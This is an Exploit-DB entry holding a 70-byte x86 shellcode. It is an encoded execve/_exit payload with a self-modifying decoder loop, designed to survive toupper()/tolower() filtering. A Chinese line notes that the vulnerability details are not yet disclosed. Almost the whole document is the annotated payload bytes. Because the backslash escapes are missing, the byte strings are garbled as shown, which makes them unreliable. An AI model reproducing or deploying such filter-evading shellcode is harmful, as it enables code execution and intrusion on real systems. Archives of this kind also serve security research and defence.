https://www.exploit-db.com/exploits/13420

漏洞细节尚未披露

/*-------------------------------------------------------*/
/*     Radically Self Modifying Code for surviving       */
/*            toupper() and tolower()                    */
/*                                                       */
/*         70byte execve & _exit() code by XORt          */
/*-------------------------------------------------------*/
"xebx12"                 /* jmp $0x12                  */
"x5e"                     /* pop %esi                   */
/*-set-up-loop-counter-and-ajust-shellcode-pointer-------*/
"x31xc9"                 /* xor %ecx, %ecx             */
"xb1x0b"                 /* mov $0xb, %cl              */
"xffxc6"                 /* inc %esi                   */
/*-the-loop----------------------------------------------*/
"x81x06x5bx2dxd0xcb" /* addl $0xcbd02d5b, (%esi)   */
"xad"                     /* lodsl                      */
"xe2xf7"                 /* loop -$0x9                 */
/*--jump-into-shellcode----------------------------------*/
"xebx05"                 /* jmp $0x5                   */
"xe8xe9xffxffxff"     /* call -$0x17                */
/*--------------------------------------------[bytes:25]-*/
//                                                       //
/*--the-shellcode----------------------------------------*/
"xeb"                     /* --then encoded shellcode-- */
"xc4x30xb9xaa"         /*                            */
"xadx03xf0xbc"         /*                            */
"xebxd9xb8x7a"         /*                            */
"xb1x82x3bxbd"         /*                            */
"x98x60x7ex3c"         /*                            */
"x32x29x3cx01"         /*                            */
"x25x04x0bxbe"         /*                            */
"x7dx13xfdxb4"         /*                            */
"x8dxafx2fx34"         /*                            */
"xa4x02x92x9d"         /*                            */
"x13x02xa3x9c";        /*                            */
/*--------------------------------------------[bytes:45]-*/


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